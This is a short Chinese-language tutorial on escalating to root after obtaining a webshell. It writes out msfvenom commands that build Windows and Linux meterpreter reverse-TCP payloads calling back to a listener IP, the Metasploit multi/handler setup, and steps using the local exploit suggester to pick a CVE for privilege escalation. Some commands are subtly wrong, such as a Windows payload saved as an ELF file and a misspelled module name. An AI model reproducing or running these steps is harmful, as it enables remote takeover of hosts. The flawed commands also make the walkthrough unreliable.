拿到GETSHELL之后的提权

1、当我们那到一个getshell我们可以直接使用蚁剑/冰鞋/哥斯拉来进行链接

2、链接之后我们要对其进行攻击

2.1、打开kali之后使用msfconsole

2.2、进入之后

1、生成

-p windows/x64/meterpreter/reverse_tcp //载入64位payload攻击载荷，如需32位把x64去掉即可

lhost=192.168.2.129 //设置本机kali的IP地址(ifconfig查看本机IP地址)

lport=6666 //设置一个监听端口，可以随意，未被占用即可

-f exe //定义此文件的类型为exe

-o test.exe

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.194 lport=6666 -f elf -o wang.elf (如果文件是带锁的加权限)

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.129 lport=6666 -f elf -o test.elf

 监听

msfconsole //进入框架

use exploit/multi/handler //载入模块看上面使用的模块

set payload linux/x64/meterpreter reverse_tcp //加载攻击负载核

set lhost 192.168.0.194 //设置本地监听地址，和生成的木马地址一致

set lport 6666 //设置本地监听端口，和生成的木马地址一致

run 666

3、到这之后我们就要开始提权了

3.1、我们使用bg命令进入后台

 

3.2、之后使用 use multi/recon/local_exploit_suggeste模块

 

3.3、之后进行set sessions 1 那个会话要提权就设置那个会话

 

3.4、之后会找到可以提权的的cve漏洞

3.5、use + 选择的cve漏洞

3.6、之后 set session 1 会话 然后run

 

3.7、之后就得到了root权限